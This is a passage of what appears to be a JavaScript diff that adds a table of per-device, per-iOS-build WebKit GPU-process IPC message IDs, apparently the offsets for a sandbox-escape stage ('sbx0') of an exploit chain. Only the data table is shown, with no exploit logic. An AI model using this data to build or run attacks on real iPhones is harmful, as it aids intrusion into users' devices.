0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone15,5_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone16,1_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone16,2_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,1_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,2_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,3_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,4_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,5_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + } +}; + + Object.assign(sbx0_offsets, { + "iPhone11,2_4_6_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, +"iPhone11,6_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + +"iPhone11,4_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + + "iPhone11,8_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone12,1_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + 